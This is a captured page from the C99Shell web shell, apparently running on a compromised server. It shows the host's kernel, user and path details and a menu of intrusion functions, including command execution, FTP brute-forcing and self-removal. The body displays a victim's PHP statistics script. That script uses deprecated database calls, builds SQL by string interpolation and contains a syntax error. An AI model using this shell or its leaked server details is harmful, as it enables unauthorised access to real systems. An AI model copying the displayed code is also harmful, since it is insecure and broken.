!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/wwwroot/frames/   drwxrwxr-x
Free 83.32 GB of 96.73 GB (86.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     busca_claibu.php (4.01 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
  
include "/home/wwwroot/frames/conn.php";
  
$acumulado=0;
$number=0;
//$f_inicio="2011-05-09 11:48:05";  // fecha inicial de control
//$f_inicio="2011-05-11 10:00:00";  
$f_inicio="2011-05-17 13:00:00";  
echo 
$f_inicio;
echo 
"<br>";
echo 
$now=date('Y-m-d H:i:s');


$sql1="select count(0) AS `st` from `estadistica` where ((`estadistica`.`id_book` = 1) and (`estadistica`.`fecha` > '$f_inicio'))";



$row1=mysql_fetch_array(mysql_query($sql1,$conn));

echo 
"<table border=1>";
echo 
"<tr><td>libros de externos desde el dia $f_inicio</td><td>".$row1['st']."</td></tr>";    



$sqla="select count( 0 ) AS `a` from estadistica where id_book=1 and referer like '%claibu%'  and estadistica.fecha > '$f_inicio'";
$rowa=mysql_fetch_array(mysql_query($sqla,$conn));  
echo 
"<tr><td>libros de CLAIBU</td><td>".$rowa['a']."<td>".$rowa['a']/segundos($f_inicio,$now)." por segundo</td></tr>";     
  
$sqlb="select count( 0 ) AS `a` from estadistica where id_book=1 and referer  not like '%claibu%'  and estadistica.fecha > '$f_inicio'";
$rowb=mysql_fetch_array(mysql_query($sqlb,$conn));  
echo 
"<tr><td>otros libros externo</td><td>".$rowb['a']."</td><td>".$rowb['a']/segundos($f_inicio,$now)." por segundo</td></tr>";     
$sqlc="select count( 0 ) AS `a` from estadistica where id_book>10 and referer like '%papyre%'  and estadistica.fecha > '$f_inicio'";
$rowc=mysql_fetch_array(mysql_query($sqlc,$conn));  
echo 
"<tr><td>libros de papyrefb2 </td><td>".$rowc['a']."</td><td>".$rowc['a']/segundos($f_inicio,$now)." por segundo</td></tr>"


echo 
"</table>";                 

$sql="select *  from estadistica where id_book=1 and referer like '%claibu%'  and estadistica.fecha > '$f_inicio'";

$res=mysql_query($sql,$conn);
echo 
mysql_error();
while (
$row=mysql_fetch_array($res)){
    unset (
$tamano);
    
$tamano=0;
    
    
// buscamos el archivo:
    
    
    
    
$ruta=str_replace('http://papyrefb2.net','',$row['link']);
    
$ruta=str_replace('http://98.158.179.254','',$ruta);
                           
$tamano=filesize("/home/wwwroot".$ruta);
 
$number++;
 
$acumulado=$tamano+$acumulado;
 
//echo "fichero $ruta tiene un tamaño $tamano<br>";
}


 echo 
"<br><br><br> el total de claibu SOLO es de ";
 echo 
number_format($acumulado,0,",",".");
 echo 
" bytes, ".number_format($number,0,",",".");
 echo 
" libros";   
 
 
$number2=0;    

$sql2="select *  from estadistica where id_book>10 and referer like '%papyre%'  and estadistica.fecha > '$f_inicio'  ";

$res2=mysql_query($sql2,$conn);
echo 
mysql_error();
while (
$row2=mysql_fetch_array($res2)){
    unset (
$tamano);
    
$tamano2=0;
    
    
// buscamos el archivo:
    
    
    
    
$ruta=str_replace('http://papyrefb2.net','',$row2['link']);
    
$ruta=str_replace('http://98.158.179.254','',$ruta);
                           
$tamano2=filesize("/home/wwwroot".$ruta);
$number2++; 
 
$acumulado2=$tamano2+$acumulado2;
// echo "fichero $ruta tiene un tamaño $tamano<br>";
}

echo 
"<br><br><br> el total de papyrefb2 SOLO es de ";
 echo 
number_format($acumulado2,0,",",".");
 echo 
" bytes, ".number_format($number2,0,",",".");
 echo 
" libros, que corresponden a ".$number2/segundos($f_inicio,$now)." por segundo" ;

echo 
"<table border=0><tr><td>";

echo 
"estadisticas globales: ";
echo 
number_format($acumulado+$acumulado2,0,",",".");
echo 
" bytes   ,en  ";
echo 
number_format($number+$number2,0,",",".");
echo 
" libros";
echo 
" que corresponden a".($number+$number2)/segundos($f_inicio,$now)." por segundo" ;
echo 
"</td></tr></table>";      




function 
segundos($hora_inicio,$hora_fin){
$hora_i=substr($hora_inicio,11,2);
$minutos_i=substr($hora_inicio,14,2);
$año_i=substr($hora_inicio,0,4);
$mes_i=substr($hora_inicio,5,2);
$dia_i=substr($hora_inicio,8,2);
$hora_f=substr($hora_fin,11,2);
$minutos_f=substr($hora_fin,14,2);
$año_f=substr($hora_fin,0,4);
$mes_f=substr($hora_fin,5,2);
$dia_f=substr($hora_fin,8,2);
$diferencia_seg=mktime($hora_f,$minutos_f,0,$mes_f,$dia_f,$año_f) - mktime($hora_i,$minutos_i,0,$mes_i,$dia_i,$año_i);
return 
$diferencia_seg;
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0045 ]--